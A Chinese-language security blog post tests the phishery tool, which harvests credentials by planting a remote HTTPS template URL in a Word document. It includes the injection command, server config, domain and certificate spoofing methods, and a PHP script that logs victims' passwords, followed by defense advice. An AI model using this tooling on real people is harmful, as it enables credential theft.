Phishing credentials via Basic Authentication(phishery)利用測試
0x00 前言
phishery是一個簡單的支援SSL的HTTP伺服器,其主要目的是通過基本身份驗證釣魚獲得目標的憑據。
本文將要對其進行測試,介紹測試細節,分析實現原理,擴充套件用法。
phishery地址: https://github.com/ryhanson/phishery
0x01 簡介
本文將要介紹以下內容:
-
phishery實際測試
-
實現原理
-
補充1: 使用openssh製作證書
-
補充2: php實現Basic Authentication
-
防禦建議
0x02 phishery實際測試
測試系統: Win7x64
下載編譯好的程式:
https://github.com/ryhanson/phishery/releases/download/v1.0.2/phishery1.0.2windows-amd64.tar.gz
1、生成word文件
phishery -u https://secure.site.local/docs -i good.docx -o bad.docx
引數說明:
-
https://secure.site.local/docs作為偽造的web伺服器地址,docs為檔名稱(該檔案必須存在,預設對應檔案template.dotx),目標使用者在開啟bad.docx時,會顯示該域名
-
good.docx為輸入的word文件,文件為正常內容
-
bad.docx為輸出的word文件,在good.docx中插入Word document template
如下圖

2、啟動HTTPS Auth Server
phishery
預設載入的配置檔案為同級目錄下的settings.json
內容如下:
{ "ip": "0.0.0.0", "port": "443", "sslCert": "server.crt", "sslKey": "server.key", "basicRealm": "Secure Document Gateway", "responseStatus": 200, "responseFile": "template.dotx", "responseHeaders": [ ["Content-Type", "application/vnd.openxmlformats-officedocument.wordprocessingml.template"] ] }
注:
server.crt和server.key為工程中包含的測試證書檔案,後面會介紹證書檔案的生成方法
預設將獲取的目標使用者憑據儲存在檔案credentials.json
程式執行如下圖

3、欺騙目標使用者點選bad.docx
目標使用者需要滿足以下條件:
(1)能夠解析域名
可選擇以下三種方法:
方法1: 通過域名提供商,將域名解析到HTTPS Auth Server的IP地址
域名需要具有欺騙性
方法2: 修改閘道器的配置,將域名解析到HTTPS Auth Server的IP地址
需要獲得閘道器配置的修改許可權
方法3: 修改目標使用者測試環境的hosts檔案,將域名解析到HTTPS Auth Server的IP地址
僅作測試
注:
直接使用IP也可以,但是不具有欺騙性
(2)信任HTTPS Auth Server的證書檔案
可選擇以下三種方法:
方法1: HTTPS Auth Server的證書檔案由權威CA機構頒發,目標信任該CA機構
將csr檔案傳送給CA機構進行校驗,若稽核通過,CA機構使用自己的私鑰對csr檔案進行簽名,生成證書檔案(.crt檔案)
方法2: 使用可信的證書
方法3: 目標使用者新增對證書的信任
將自簽名證書安裝到受信任的根證書頒發機構
如果目標使用者不信任HTTPS Auth Server的證書檔案,在開啟文件時會彈出提示,如下圖

只有使用者選擇Yes,才會彈出輸入憑據的對話方塊,如下圖

對話方塊中的域名同偽造的web伺服器地址相同
目標使用者輸入憑據後,HTTPS Auth Server獲得使用者輸入的憑據,如下圖

接下來,顯示word文件的正常內容
0x03 實現原理
1、Basic Authentication
客戶端在訪問伺服器時,如果伺服器返回401 Unauthozied,並且Response的header為WWW-Authenticate: Basic realm="xxxx"
客戶端將自動彈出一個登入視窗,要求使用者輸入使用者名稱和口令
例如,通過IE訪問https://secure.site.local/docs,彈出對話方塊,如下圖

客戶端輸入使用者名稱和口令後,將使用者名稱及口令以base64加密方式加密併發送
2、Word文件的Word document template
Word文件的Word document template可插入URL,在開啟Word文件時,自動訪問該URL
注:
必須為https,不支援http
檢視方法:
開發工具->載入項
如下圖

注:
Excel和PowerPoint無法使用這個方法
3、伺服器接收訊息,base64解密獲得使用者名稱和口令
對應程式原始碼:
https://github.com/ryhanson/phishery/blob/master/phish/phishery.go#L50
0x04 補充1: 使用openssh製作證書
下載Apache,地址如下:
http://httpd.apache.org/download.cgi
安裝Apache後預設安裝openssl,位於\Apache24\bin
2、生成私鑰檔案test.com.key和證書籤名請求test.com.csr
引數如下:
openssl x509 -req -days 3650 -in test.com.csr -signkey test.com.key -out test.com.crt
如果證書缺少主題備用名稱SAN (Subject Alternate Name),需要通過配置檔案進行新增
參考資料:
https://support.citrix.com/article/CTX135602_
新建檔案req.cnf,內容如下:
[req] distinguished_name = req_distinguished_name x509_extensions = v3_req prompt = no [req_distinguished_name] C = US ST = VA L = SomeCity O = MyCompany OU = MyDivision CN = test.com [v3_req] keyUsage = critical, digitalSignature, keyAgreement extendedKeyUsage = serverAuth subjectAltName = @alt_names [alt_names] DNS.1 = test.com
注:
CN和DNS.1都需要設定為域名(測試域名為test.com)
生成私鑰和自簽名證書:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout test.com.key -out test.com.crt -config req.cnf -sha256
更多引數的細節可參考之前的文章《CIA Hive Beacon Infrastructure復現2——使用Apache mod_rewrite實現https流量分發》
0x05 補充2: php實現Basic Authentication
1、phpstudy開啟ssl
(1)修改apache目錄下的httpd.conf配置檔案
定位#LoadModule ssl_module modules/mod_ssl.so,去掉註釋符#
# Secure (SSL/TLS) connections下新增一行Include conf/vhosts_ssl.conf
(2)在conf資料夾下建立檔案vhosts_ssl.conf
內容如下:
Listen 443 SSLStrictSNIVHostCheck off SSLCipherSuite AESGCM:ALL:!DH:!EXPORT:!RC4:+HIGH:!MEDIUM:!LOW:!aNULL:!eNULL SSLProtocol all -SSLv2 -SSLv3 <VirtualHost *:443> DocumentRoot "C:\WWW" ServerName test.com <Directory "C:\WWW"> Options FollowSymLinks ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted </Directory> SSLEngine on SSLCertificateFile "C:\Apache\conf\ssl\test.com.crt" SSLCertificateKeyFile "C:\Apache\conf\ssl\test.com.key" </VirtualHost>
(3)重啟phpstudy
訪問https://127.0.0.1,驗證
2、php實現Basic Authentication,記錄使用者口令
php程式碼如下:
<?php if(!isset($_SERVER['PHP_AUTH_USER']) or !isset($_SERVER['PHP_AUTH_PW'])) { file_put_contents("log.txt","ClientIP:".$_SERVER['REMOTE_ADDR']."\r\n",FILE_APPEND); header('WWW-Authenticate: Basic realm="Document Security"'); header('HTTP/1.0 401 Unauthorized'); } else { file_put_contents("log.txt","ClientIP:".$_SERVER['REMOTE_ADDR'].",".$_SERVER['PHP_AUTH_USER'].":".$_SERVER['PHP_AUTH_PW']."\r\n",FILE_APPEND); print "File Not Found"; }
程式碼實現了記錄使用者口令並寫入檔案log.txt,返回使用者的內容為File Not Found
注:
該php指令碼可以作為phishery的HTTPS Auth Server
通過php實現Basic Authentication,如果不使用https,彈出的對話方塊會多一些提示,如下圖

如果不使用https,無法作為Word document template插入Word文件
0x06 防禦建議
檢測到的實際攻擊活動:
https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/
結合本文的分析和實際攻擊活動的細節,給出如下建議:
-
正常word文件很少會要求使用者輸入憑據
-
對域名的證書進行檢查(針對https)
-
對域名進行識別,是否是偽造的域名
0x07 小結
本文對phishery進行測試,介紹測試細節,分析實現原理,補充了php實現Basic Authentication的方法,最後給出防禦建議
個人認為phishery的另一個作用:將內網的一臺Windows主機作為伺服器,用於記錄目標輸入的憑據